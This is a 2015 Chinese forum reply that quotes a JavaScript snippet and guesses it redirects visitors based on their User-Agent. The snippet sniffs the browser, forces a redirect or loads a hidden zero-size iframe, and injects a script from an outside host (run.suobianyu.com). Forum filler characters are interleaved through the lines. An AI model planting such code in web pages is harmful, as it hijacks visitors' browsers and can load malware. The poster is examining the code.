|
|
发表于 2015-9-5 20:41:18
|
显示全部楼层
本帖最后由 seanhere 于 2015-9-5 20:45 编辑 $ a2 n G% M, w9 r8 f M
- var ua = navigator.userAgent.toLowerCase(),% K0 ^* S, Q0 l4 G$ B
- browser = {1 C( U7 b0 h4 G9 @5 R4 s9 b
- ver: (ua.match(/(?:rv|me|ra|ie)[\/: ]([\d.]+)/) || [0, "0"])[1], _, O( @2 u% c; ?
- opera: /opera/.test(ua),4 H3 R0 K9 A* R0 m
- maxthon: /maxthon/.test(ua),. ?% ^2 S; @: o' j$ f, Y! _1 ^3 i
- theworld: /theworld/.test(ua),% L/ g' Y" j( Z3 b8 h
- qq: /qqbrowser/.test(ua),
! o6 g: C7 y, T - sogou: /se /.test(ua),8 v5 o# W$ Z* L9 C, Y
- liebao: /liebao/.test(ua),
2 h# g, f7 @4 V$ L( w: i4 ? - firefox: /mozilla/.test(ua) && !/(compatible|webkit)/.test(ua),
! l5 y: q9 [: ~6 {1 D5 U, M! Y - chrome: /chrome|crios/.test(ua),1 T) r% N; ~$ y( K
- safari: /webkit/.test(ua),
! p! k9 c: K" ?) _( A - uc: /ucbrowser/.test(ua),
5 {+ h9 W+ ?/ L# ]' h0 n; _ - ie: /msie/.test(ua) && !/opera/.test(ua)7 q8 N6 s: K8 x* I
- };
_" B' Z; v# n' z G. R - var ver = browser.ver;
" V- b% y$ Q' ]) |3 P - if (browser.firefox || /Android|Windows Phone|webOS|iPhone|iPod|BlackBerry/i.test(navigator.userAgent)) {" ~1 b7 j( Z9 ]( v0 q
- document.write("<meta http-equiv=Refresh content="0;url=" + tourl + "">");
$ s3 ?2 N' D+ c& x' j" [ - } else {
/ [1 e" _+ m$ e9 d; x N' B, h! S* o - window.sc = "<iframe src=" + tourl + "></iframe>";
' W4 N# t! G0 d - document.write("<iframe src="javascript:parent.sc" width=0 height=0></iframe>");, b5 t! y: `) X
- }
* l& U# v" O: r8 u/ V) F - document.write("<script src='http://run.suobianyu.com/a.js'><\/script>");
复制代码
4 t* K7 k4 Q& C" k& u
: Y" A/ m/ |3 E# n5 X/ X7 d( b9 D好像是根据用户浏览器的User-agent信息来决定如何跳转。 |
|